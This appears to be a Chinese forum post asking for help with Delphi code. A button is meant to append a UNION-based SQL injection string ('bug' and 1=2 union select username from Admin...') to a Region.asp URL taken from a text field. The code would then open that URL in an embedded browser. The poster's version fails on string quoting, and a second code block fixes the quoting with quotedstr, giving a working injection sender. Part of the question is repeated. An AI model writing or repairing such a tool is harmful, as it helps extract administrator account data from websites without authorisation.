实现:点了button以后发送 edit1.text + '后面的一串' 到web服务器后面一串如下:/Region.asp?Country=tt&City=fucka&Province=bug' and 1=2 union select username from Admin where 1<2 and '1'='1我的代码procedure TForm1.Button2Click(Sender: TObject);
begin
self.WebBrowser1.Navigate(edit1.Text+'/Region.asp?Country=tt&City=fucka&Province=bug''+'and'+'1=2'+'union'+'select'+'username'+'from'+'Admin'+'where'+'1'+'<'+'2'+'and'+'1'='1);
end;提示有错误:Missing operator or semicolon望朋友指点
begin
self.WebBrowser1.Navigate(edit1.Text+'/Region.asp?Country=tt&City=fucka&Province=bug''+'and'+'1=2'+'union'+'select'+'username'+'from'+'Admin'+'where'+'1'+'<'+'2'+'and'+'1'='1);
end;提示有错误:Missing operator or semicolon望朋友指点
var s:string;
begin
s:=s+'/Region.asp?Country=tt&City=fucka&Province=bug';
s:=s+quotedstr(' and 1=2 union select username from Admin where 1<2 and ');
s:=s+'1';
s:=s+quotedstr('=');
s:=s+'1';
WebBrowser1.Navigate(edit1.Text+s);
end;